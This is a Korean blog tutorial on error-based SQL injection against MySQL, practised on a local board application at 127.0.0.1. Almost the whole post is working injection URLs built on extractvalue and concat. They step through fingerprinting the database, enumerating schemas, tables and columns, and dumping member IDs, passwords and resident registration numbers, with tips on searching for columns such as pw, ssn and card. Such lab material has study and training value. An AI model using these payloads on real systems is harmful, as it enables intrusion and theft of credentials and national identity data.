Oh! JUN

MYSQL ERROR-BASED 공격 실습 본문

웹 해킹/SQL Injection

MYSQL ERROR-BASED 공격 실습

Kwon Oh! JUN 2022. 8. 18. 00:47

1. 기본 정보 목록화(DB버전, 사용자, 현재 DB명)

@@version/version(), system_user(), database()

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,@@version,0x0a))

- DB버전

 

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,system_user(),0x0a))

-  DB 유저 정보

 

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,database(),0x0a))

- DB 이름


2. 메타 데이터 목록화

2-1. 순차적 목록화 : DB => TABLE => COLUMN

 

2-1-1. DB 목록화

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.schemata),0x0a))

- DB 개수

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+schema_name+from+information_schema.schemata+limit+7,1),0x0a))

- 순차적 레코드(limit) 사용해서 특정 행의 정보를 확인

- limit 7,1 : 8번째 행의 1개(8행인데 7로 표기하는 이유? 0행을 1로 표현하니까)


 

2-1-2. Table 목록화

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.tables+where+table_schema='board'),0x0a))

- DB이름이 'board'인 테이블의 개수

 

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+table_name+from+information_schema.tables+where+table_schema='board'+limit+0,1),0x0a))

-  DB이름이 'board'이고 1번째 행의 테이블 이름


2-1-3. Column 목록화

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.columns+where+table_schema='board'+and+table_name='members'),0x0a))

- DB이름이 'board'이고 Table 이름이 'members'인 column 개수

 

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+concat(table_name,space(1),column_name)+from+information_schema.columns+where+table_schema='board'+and+table_name='members'+limit+0,1),0x0a))

- DB이름이 'board'이고 Table 이름이 'members'인 테이블에 테이블이름, 컬럼이름을 1행만 조회

- members 테이블이 4개 였으니까 limit 0,1 ~ limit 3,1까지 하면 컬럼 목록화 가능


2-1-4. Data 목록화

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+board.members),0x0a))

- board.members 데이터 개수

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+concat(idx,space(1),id,space(1),password,space(1),jumin)+from+board.members+limit+0,1),0x0a))

- board.members의 idx, id, password, jumin 컬럼 데이터의 1행만 조회

- space(1) : 띄어쓰기로 데이터 구분

- jumin이 뒤에 조금 짤린것을 확인할 수 있는데 이런 경우 jumin만 따로 조회시켜서 확인하면 됨 


2-2. 비순차적 목록화

2-2-1. 테이블: mem, user, session, file, admin ...

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.tables+where+table_schema='board'+and+table_name+like+'%25mem%25'+limit+0,1),0x0a))

- DB 이름인 'board'와 Table 이름인 'mem'을 포함시키는 table의 개수

 

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+table_name+from+information_schema.tables+where+table_schema='board'+and+table_name+like+'%25mem%25'+limit+0,1),0x0a))

- DB 이름인 'board'와 Table 이름인 'mem'을 포함시키는 Table의 이름 1행

 


2-2-2. 컬럼 : id, pw, pass, jumin, ssn, card ....

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.columns+where+table_schema='board'+and+table_name='members'+and+column_name+like+'%25jumin%25'+limit+0,1),0x0a))

-  DB 이름인 'board'와 Table 이름이 'members'이고, column이름이 'jumin'을 포함시키고 있는 column의  개수

- jumin 1개라서 limit 0,1 붙여도 상관없음

 

 

http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+column_name+from+information_schema.columns+where+table_schema='board'+and+table_name='members'+and+column_name+like+'%25jumin%25'+limit+0,1),0x0a))

- DB 이름이 'board'와 Table 이름이 'members'인 column이름에 'jumin'이 포함된 colunm 이름의 1행을 조회